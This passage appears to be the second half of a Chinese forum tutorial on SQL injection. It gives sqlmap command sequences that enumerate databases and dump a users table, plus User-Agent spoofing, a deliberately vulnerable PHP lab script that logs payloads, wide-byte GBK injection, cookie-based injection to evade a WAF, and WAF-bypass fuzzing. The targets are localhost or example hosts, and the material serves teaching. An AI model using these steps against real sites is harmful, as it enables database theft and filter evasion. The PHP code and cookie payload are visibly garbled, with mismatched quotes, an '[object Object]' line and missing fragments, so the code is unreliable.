一、前言 這幾天在教同學(xué)web安全,其中就包括了sql注入。 原本我覺得很簡單的東西,到了他們眼里,變得很復(fù)雜。 這也引發(fā)我的思考,是不是應(yīng)該站在小白的角度,去解釋這個東西。 所以寫這個帖子,很長,有目錄,大家可以根據(jù)需求選擇的看 本文原創(chuàng)作者:sucppVK,本文屬i春秋原創(chuàng)獎勵計劃 (ps:不少童鞋對sql注入一知半解,自以為掌握了,就不屑于去學(xué)習(xí),這是很可怕的) (ps:本教程基于mysql) ---------------------目錄-------------------------------------
(上篇) ---------------------------------------------------------------
二、正文 (接上篇) -----------0x04.簡單使用sqlmap進(jìn)行漏洞利用--------------------------------------------------- sqlmap是一個很強(qiáng)大的sql注入工具 他是開源的,大家可以去看源代碼
簡單教程: 我的個人習(xí)慣,在sqlmap目錄下,創(chuàng)建一個bat文件 里面寫cmd 然后打開它:
假如,我找到了目標(biāo)站點(diǎn): http://127.0.0.1/vkweb/exam/mysql/text.php?id=1 我會先手工簡單測試存不存在sql注入漏洞 id=1' and '1 id=1' and '0 發(fā)現(xiàn)前者有回顯,后者沒有 因此我斷定,這個地方,把我的輸入當(dāng)做代碼去執(zhí)行了 存在sql注入漏洞
然后就可以扔工具里跑了: sqlmap.py -u'http://127.0.0.1/vkweb/exam/mysql/text.php?id=1'
sqlmap發(fā)現(xiàn)了注入點(diǎn) 下一步輸入: sqlmap.py -u'http://127.0.0.1/vkweb/exam/mysql/text.php?id=1' --dbs 查找有什么數(shù)據(jù)庫:
接著,我想查test這個數(shù)據(jù)庫里,有什么數(shù)據(jù)表: sqlmap.py -u'http://127.0.0.1/vkweb/exam/mysql/text.php?id=1' -D test --table
最后就是邪惡的查表信息了,也就是所謂的脫褲: 這里,users看起來比較誘人,肯定查這個: sqlmap.py -u'http://127.0.0.1/vkweb/exam/mysql/text.php?id=1' -D test -T users --dump
sqlmap有時候會問你一些選擇,看不懂英文就去死吧
sqlmap很強(qiáng)大,命令很多 比如,有時候目標(biāo)網(wǎng)站會檢查訪問的ua, sqlmap等的滲透測試工具是有自己的ua的
User-Agent: sqlmap/1.0-dev (http://) 這時候,人家能讓你訪問嗎? 所以就會超時,紅一大片, 這時候sqlmap提供--user-agent,--random-agent參數(shù),修改ua sqlmap.py -u'http://127.0.0.1/vkweb/exam/mysql/text.php?id=1' --user-agent='i am good man'
User-Agent: i am good man --random-agent參數(shù),是隨機(jī)給你偽裝一個合法瀏覽器ua
功能很強(qiáng)大,這里就不一一介紹。 感興趣的可以去谷歌查一查。
-----------0x05.用sqlmap來學(xué)習(xí)sql注入--------------------------------------------------- 我們是站在巨人的肩膀上的 sqlmap上集成了很多數(shù)據(jù)庫管理系統(tǒng)的注入方法,姿勢很多 用它來學(xué)習(xí)是再好不過的了。 兩種辦法: 1.用burpsuite,sqlmap那邊加上參數(shù)--proxy='127.0.0.1:8080',這樣所有請求都會經(jīng)過burpsuite 2.VK的獨(dú)門收集法(真的是我自己想出來的,也許有大牛早就想到了) 這個有局限性,必須自己搭環(huán)境:
<?php
header('content-type:text/html;charset=UTF-8');
$id = $_GET['id'];
$conn = mysql_connect('127.0.0.1','guest','123') or die('could not connect:'.mysql_error());
mysql_select_db('test',$conn) or die('can not use:'.mysql_error());
$sql = 'select * from users where id='{$id}'';
$cun = mysql_query($sql) or die(mysql_error());
echo '
';
while($row = mysql_fetch_array($cun)){
echo 'user:'.$row['user'].'
';
echo 'gold:'.$row['gold'].'
';
echo '[object Object]';
};
if ($param = $_SERVER['QUERY_STRING']){
$op = fopen('1.txt','a ');
fwrite($op, urldecode($param).'\r\n');
fclose($op);
}
mysql_close($conn);
echo '您當(dāng)前執(zhí)行的SQL語句:';
echo urldecode($sql);
?> 注意這里的: if ($param = $_SERVER['QUERY_STRING']){ $op = fopen('1.txt','a '); fwrite($op, urldecode($param).'\r\n'); fclose($op); } 他會把所有的參數(shù)記錄下來,保存到腳本目錄的1.txt下 sqlmap中輸入: sqlmap.py -u'http://127.0.0.1/vkweb/exam/mysql/text.php?id=1' --purge-output --purge-output 指令意思是,清除之前的探測歷史記錄,從新來過 因?yàn)槲覄偛乓呀?jīng)跑過這個站了 如果不清楚歷史記錄,他不會再一次進(jìn)行注入探測
清清楚楚,是不是很爽
-----------0x06.高級注入技巧--------------------------------------------------- 寬字節(jié)注入: PHP 5.3.0 之前默認(rèn)開啟魔術(shù)引號 所有的用戶輸入會自動加上函數(shù)addslashes() 輸入中的 '(單引號),'(雙引號),\(反斜線)和 NULL 字符都會被自動加上一個反斜線進(jìn)行轉(zhuǎn)義 例如:
你想輸入單引號閉合前面 很可惜,被反斜線殺掉了。。 導(dǎo)致你的輸入始終被單引號包裹,沒有逃出去當(dāng)做代碼去執(zhí)行
這樣就沒有漏洞了嗎? 如果數(shù)據(jù)庫采用的是gbk字符,那就存在缺陷 GBK 亦采用雙字節(jié)表示,總體編碼范圍為 8140-FEFE,首字節(jié)在 81-FE 之間,尾字節(jié)在 40-FE 之間 英文字母用一個字節(jié)表示綽綽有余, 但是咱們中華文化上下五千年,一個字節(jié)沒辦法表示 于是就用gbk,兩個字節(jié)來表示 這樣會有什么危害?
中轉(zhuǎn)注入(從cookie注入) 這個先講asp的 之前我就和某論壇的老大討論過。 他非要說,asp中轉(zhuǎn)注入,是把人家的站點(diǎn)弄到本地,人家那邊有過濾,你弄到本地就沒過濾了。。。 無語。。。。。
asp中轉(zhuǎn)注入,其實(shí)就是cookie中注入。 php中,用超全局變量$_GET,$_POST來接受參數(shù) asp中,用Request.QueryString (GET) 或 Request.Form (POST)!來接收
有些程序員比較懶,直接這么寫 ID=Request('ID') 這時候asp并不知道,從get 還是post上接收參數(shù) 它就會一個一個去試! 它是先取GET中的數(shù)據(jù),沒有再取POST中的數(shù)據(jù),還會去取Cookies中的數(shù)據(jù)
程序員還會自己寫waf,可是他的waf是檢測get和post的數(shù)據(jù) 但是缺漏了cookie
因此,我們只需要把數(shù)據(jù)放在cookie里,就可以繞過waf的檢測 而且服務(wù)器也可以正常接收!
這就是中轉(zhuǎn)注入的真正原理。 舉個栗子: www.foo.com/news.php?id=1 存在注入漏洞 可是人家有自己的waf, 輸入:id=1' 他就提示,請不要嘗試攻擊
測試漏洞: 地址欄輸入www.foo.com/news.php 回車 網(wǎng)頁本該有文章的地方空了,因?yàn)闆]有參數(shù) 清空地址欄 輸入: [removed]alert([removed]='id=' escape(' 1 and 1=1--')); 這時候,你可以用firebug看看自己的cookie 多了個id=1 and 1=1-- (圖片只是表達(dá)cookie會多出這個值,并不是攻擊站點(diǎn)) [removed]是偽協(xié)議,告訴瀏覽器后面的代碼當(dāng)做js去解析 [removed]是取cookie這個對象 讓他='id=' escape(' 1 and 1=1--')
因此,把數(shù)據(jù)放在了cookie中, asp在get和post中找不到數(shù)據(jù),就回去cookie中去找 然后就導(dǎo)致注入!
------------------------------小結(jié)----------------------------------------- 道理很簡單,我已經(jīng)把鐵和錘子給你了 能打造出什么樣的武器,就看你自己 sql注入產(chǎn)生的前提是要和數(shù)據(jù)庫交互
中轉(zhuǎn)注入只不過是,cookie接受參數(shù),沒過濾,然后和數(shù)據(jù)庫交互,而導(dǎo)致的漏洞罷了 php中也是一樣,如果他的cookie和數(shù)據(jù)庫交互,并且過濾不嚴(yán)謹(jǐn),一樣會導(dǎo)致漏洞
---------------0x07.繞過WAF注入--------------------------------------------------- 現(xiàn)在的waf很多 某狗,某盾,云某。。。 過狗一句話在各大論壇經(jīng)常出現(xiàn)
但是過狗注入?yún)s很少更新 這一直是個敏感的話題 畢竟sql注入是個高威脅的漏洞 小公司沒精力去弄安全,只好弄個waf來保護(hù)網(wǎng)站 一旦waf被繞過,公司的數(shù)據(jù)就完全暴露在黑客面前。。。。
這里我先說兩點(diǎn):
為什么說狗很弱,這邊指的是什么規(guī)則都沒改過的狗 因?yàn)槿思腋惆踩a(chǎn)品的要考慮面向客戶,如果他的過濾規(guī)則太嚴(yán)格,那么很可能連正常的訪問網(wǎng)頁都會被攔截 如此一來,誰還用你的安全產(chǎn)品
還是用到這個腳本: <?php
header('content-type:text/html;charset=UTF-8');
$id = $_GET['id'];
$conn = mysql_connect('127.0.0.1','guest','123') or die('could not connect:'.mysql_error());
mysql_select_db('test',$conn) or die('can not use:'.mysql_error());
$sql = 'select * from users where id='{$id}'';
$cun = mysql_query($sql) or die(mysql_error());
echo '
';
while($row = mysql_fetch_array($cun)){
echo 'user:'.$row['user'].'
';
echo 'gold:'.$row['gold'].'
';
echo '[object Object]';
};
if ($param = $_SERVER['QUERY_STRING']){
$op = fopen('1.txt','a ');
fwrite($op, $param.'\r\n');
fclose($op);
}
mysql_close($conn);
echo '您當(dāng)前執(zhí)行的SQL語句:';
echo urldecode($sql);
?> 記得這個是干什么的嗎? 他會把所有的請求,記錄在同目錄的1.txt里 這時候你去fuzz,用大量的payload去測試 看看1.txt里面有什么 就知道狗的弱點(diǎn)了 本人用這個方法找出好幾種過狗姿勢了 三、結(jié)束語 本人建議:學(xué)sql注入,最好還是去玩數(shù)據(jù)庫吧 (完結(jié))
|